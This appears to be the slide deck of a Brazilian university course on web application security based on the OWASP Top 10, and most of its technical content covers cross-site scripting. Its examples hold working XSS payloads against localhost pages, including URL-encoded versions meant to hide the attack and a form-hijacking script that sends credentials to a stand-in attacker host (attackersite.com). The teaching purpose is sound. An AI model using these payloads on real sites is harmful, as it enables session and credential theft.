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Sobre o Instrutor



Quem sou eu?

ÅMaycon Maia Vitali

ÅForma(n)do em Ciência da Computação pelo 
Centro Universitário Vila Velha

ÅNão possui certificação Microsoft

ÅNão possui certificação Linux

ÅNão possui certificação Java

ÅNão possui certificação em Banco de Dados

ÅNão possui certificação em Redes

ÅNão possui certificação em Segurança da 
Informação



Quem sou eu? (Parte II)

ÅAutodidata em Segurança da Informação

ÅEscritor de artigos técnicos sobre 
segurança da Informação:

ïThe Bug! Magazine (http://www.thebugmagazine.org/)

ÅPalestrante em diversos eventos

ïH2HC - Hackers to Hackers Conference

ïCode Breakers Meeting

ïEncasoft

ïLinuxDay

http://www.thebugmagazine.org/


Quem sou eu? (Parte III)

ÅAnalista Pen-Test para diversas empresas 

de segurança:

ïGSec Soluções em Segurança

ïIntruders Tigers Team Security

ï********* Security (Privado)

ÅDesenvolvedor de frameworks e 

ferramentas de auditoria de segurança

ÅConhecido como 0ut0fBound



Quem sou eu? (Parte IV)

ÅLinhas de Pesquisa

ïEscrita de exploits

ïEscrita e otimização de shellcode

ïAuditoria de segurança de aplicações Web

ïTécnicas de Evasão

ïEngenharia Reversa (Análise de malwares)

ïSistemas de Detecção de Intrusão

ïQualquer coisa que tenha 0ôs e 1ôs



Quem sou eu? (Conclusão)
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Objetivo do Curso



Objetivos do Curso

ÅConhecer os ataques Web de maneira 

prática

ÅSaber identificar as diversas falhas Web

ÅAprender a projetar e desenvolver 

sistemas Web de maneira segura.

ÅCurso baseado no Top 10 OWASP



Divisão Estratégica

ÅPrimeira Aula
ïApresentação,

ïIntrodução a Segurança da Informação,

ïSegurança em Web e

ïCross-Site-Scripting

ÅSegunda Aula
ïSQL Injection



Divisão Estratégica

ÅTerceira Aula
ïExecução de Arquivos Remotos

ïReferência Direta a Objetos Inseguros

ïCross Site Request Forgery

ÅQuarta Aula
ïVazamento de Informações

ïFuros de Autenticação

ïArmazenamento Criptográfico Inseguro

ïComunicação Insegura

ïFalha de Restrição de URL



Divisão Estratégica

Quinta Aula

War Game



AVISO

ATENÇÃO

O instrutor do curso (Maycon Maia Vitali) tão pouco o Centro 

Universitário Vila Velha não se responsabilizam pela má utilização das 

informações fornecidas neste curso.

O Curso de Extensão Tecnológica em Segurança Web tem a única 

finalidade de formar profissionais aptos a desenvolver um ambiente Web 

seguro, protegendo-o de ataques que porventura viriam acontecer.

Qualquer ato ilícito ou ilegal acarretado devido a má utilização das 

informações apresentadas no curso serão de inteira responsabilidade do 

autor, estando o mesmo completamente sujeito as mais severas 

penalidades cabíveis pela lei.
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Sobre o OWASP



Introdução ao OWASP

ÅSignificado:

ïOpen Web Application Security Project

ÅMissão:

ïTornar visível os riscos de segurança que 

uma aplicação pode sofrer.

ÅLivre para participação e material sob 

licença de Software Livre

Åhttp://www.owasp.org

http://www.owasp.org/


Introdução ao OWASP

ÅLivre do meio comercial

ÅSem afiliação a empresas tecnológicas

ÅApóia a utilizações de soluções 

comerciais



OWASP ïCódigo de Ética (Parte I)

ÅExecutar todas as atividades profissionais 
e deveres em conformidade com todas as 
leis aplicáveis e os mais altos princípios 
éticos;

ÅPromover a implementação e o 
cumprimento das normas, procedimentos 
e controles para efeitos de aplicação da 
segurança;



OWASP ïCódigo de Ética (Parte II)

ÅManter a confidencialidade adequada de 

propriedade ou de outra informação 

sensível encontradas no decurso das 

atividades profissionais

ÅResponsabilidades profissionais com 

diligência e honestidade;



OWASP ïCódigo de Ética (Parte III)

ÅAbster-se de quaisquer atividades que possam 

constituir um conflito de interesse ou de outra 

forma prejudicar a reputação dos 

empregadores, do profissional de segurança da 

informação, ou dos associados.

ÅNão intencionalmente ferir ou refutar a 

reputação profissional de prática dos colegas, 

clientes ou funcionário 
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Introdução a Segurança da 

Informação



Definição

ÅA segurança da informação é o setor da 

tecnologia da informação responsável por 

prover recursos e mecanismos que visam 

identificar, prevenir e solucionar 

problemas que ameaças possam fornecer 

aos ativos de uma empresa. 



Vertentes da Segurança da 

Informação

ÅConfidencialidade

ÅDisponibilidade

ÅIntegridade

ÅNão repúdio

ÅAutenticidade



Divisão da Segurança da 

Informação

ÅControles Físicos

ïPortas, trancas, guardas, Pit bull etc

ÅControles Lógicos

ïFirewall, IDS/IPS, política de segurança etc



Ferramentas que ñProvemò 

Segurança

ÅAntivírus

ÅSistemas de Detecção de Intrusão

ÅSistemas de Prevenção de Intrusão

ÅFirewall

ÅAnti-Spam

ÅFuzzers

ÅAnalisadores de Códigos

ÅFerramentas de proteção não são 100% 
confiáveis.
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Segurança em Web



Princípio de Sistemas Web

ÅÓtima escolha para mudança de 

plataforma das aplicações(?)

ÅA Internet não foi criada visando 

segurança

ÅAtualmente é considerada uma selva



Ataques Web

Origem e Motivação

ÅRoubo de informações
ïBenefício Próprio

ïEspionagem Industrial

ÅDefacement
ïMass scaning/defacing

Å(Ex-)Funcionários Insatisfeitos
ïSalários baixos ou demissões injustas

ÅWorms



Princípios da Segurança Web

Åñall input is evil until proven otherwiseò.

ÅTer uma noção das falhas não é 

suficiente.

ÅWhite List vs Black List



ñall input is evil until proven otherwiseò

ÅEntradas visíveis e de fácil manipulação

ïCampos texto

ïVariáveis de URL

ÅEntradas de manipulação intermediário

ïCampos hidden

ïValores de cookies

ïDemais inputs (select, checkbox, radio etc)

ÅEntradas de difícil manipulação

ïCampos de cabeçalhos HTTP
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Vulnerabilidades Web



Por que web?

ÅCaminho mais fácil de expor informação.

ÅInternet não é somente a Web (?)

ÅPreocupação com vulnerabilidades?

ïDados valiosos?

ïE em outro host do mesmo servidor?
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Cross-Site-Scripting



XSS - Dados Gerais

ÅAlta ocorrência

ÅBaixo impacto (?)
ïSequestro de sessão

ïAlteração de fluxo de dados

ïDefacement

ïVetor para diversos outros ataques



XSS - Princípios

ÅExecução arbitrária de códigos Javascript

ÅMá (ou não) filtragem dos dados que 

podem ser manipulador pelo usuário.

ÅPermite a criação de worms:

ïVírus do Orkut (2007)



Formulário de Pesquisa

ÅPara fins de testes, o seguinte formulário 

deve ser criado para testar a aplicação:



Primeiro Exemplo

Retorno de Variáveis
ÅExemplo clássico de código vulnerável a XSS



Localização da Vulnerabilidade

ÅEncontrada vulnerabilidade de XSS:

ÅA vari§vel óbuscaô pode ser facilmente 

manipulada pelo usuário

ÅA variável é repassada para o navegador 

sem qualquer tipo de filtro



Teste da Vulnerabilidade

ÅBuscar por <script>alert('Vulneravel a XSS')</script>



Métodos de Ataque

ÅInduzir a vítima a acessar o endereço:
ï http://localhost/AtaquesWeb/xss_exemplo1.php?busca=<script>alert('

Vulneravel+a+XSS')</script>

ÅProcurar esconder (camuflar) a tentativa 

de ataque:
ïhttp://localhost/AtaquesWeb/xss_exemplo1.php?busca=%3c%7

3%63%72%69%70%74%3e%61%6c%65%72%74%28%27%56

%75%6c%6e%65%72%61%76%65%6c%20%61%20%58%53

%53%27%29%3c%2f%73%63%72%69%70%74%3e



Características do Ataque

ÅCross-Plataform
ïInternet Explorer

ïMozilla Firefox

ïOpera

ïGoogle Chrome

ïetc

ÅLimitado ao ambiente Web (?)
ïRecursos específicos dos navegadores ajudam ;)



Segundo Exemplo
Armazenamento e Recuperação de Dados

ÅInformações gravadas e então repassada 

a outros usuários

ÅInteressante para atacantes pois não 

necessita de interação da vítima

ÅExploração global





Visualização



Verificação da Vulnerabilidade

ÅNome: Bill

ÅEmail: bill@microsoft.com

ÅTelefone: <script>alert(óattackô)</script>

Resultado



Defacement

ÅExemplo de Ataque de desfiguração

ÅResultado:



Terceiro Exemplo

Alteração de Dados da Página

ÅNecessário planejamento para tornar 

imperceptível ao usuário

ÅRedirecionamento de formulários

ÅMudança de campos numéricos (R$)



Exemplo de Código Vulnerável



Identificação da Vulnerabilidade

ÅParâmetros que podem ser manipulados 

pelo usuário são repassados para a 

página:



Métodos de Ataque

Å http://localhost/AtaquesWeb/xss_exemplo3.php?msg=<script>f=document.getElem

entsByTagName('form')[0];f.action="http://www.attackersite.com/pegasenha.ph

p";</script>

ÅCamuflando o ataque:
Å http://localhost/AtaquesWeb/xss_exemplo3.php?msg=%3c%73%63%72%69%70%7

4%3e%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6

e%74%73%42%79%54%61%67%4e%61%6d%65%28%2018%66%6f%72%6d%20

19%29%5b%30%5d%2e%61%63%74%69%6f%6e%3d%2019%68%74%74%70%3

a%2f%2f%77%77%77%2e%61%74%74%61%63%6b%65%72%73%69%74%65%2

e%63%6f%6d%2f%70%65%67%61%73%65%6e%68%61%2e%70%68%70%2019

%3b%3c%2f%73%63%72%69%70%74%3e



Código do pegasenha.php

ÅArmazena os usuários e senhas fornecidos pela página 

da vítima

ÅRedireciona para uma suposta página de erro para 

deixar o ataque imperceptível



Quarto Exemplo

Mudança de Escopo

ÅNecessário análise de página resultante

ÅComum em muitos sistemas Web

ÅProva que qualquer sistema que não filtra 

antes de repassar está suscetível à um 

ataque



Exemplo de Vulnerabilidade

ÅOBS: Essa característica de falha é 

extremamente comum.



Identificação da Vulnerabilidade

ÅNecessário sair do contexto do link
ïhref=ñreenviar.php?pedido=[XSS]ò>

ïhref=ñreenviar.php?pedido=ñ><script>alert(óattackô);</script><

xss ñò>

ÅEndereço:
ïhttp://localhost/AtaquesWeb/xss_exemplo4.php?pedido="><scri

pt>alert('attack')</script><xss "



Tentativa de Proteção

ÅProteção útil para diversas ferramentas de 

busca de vulnerabilidades

ÅPorém completamente ineficazes contra 

atacantes experientes.


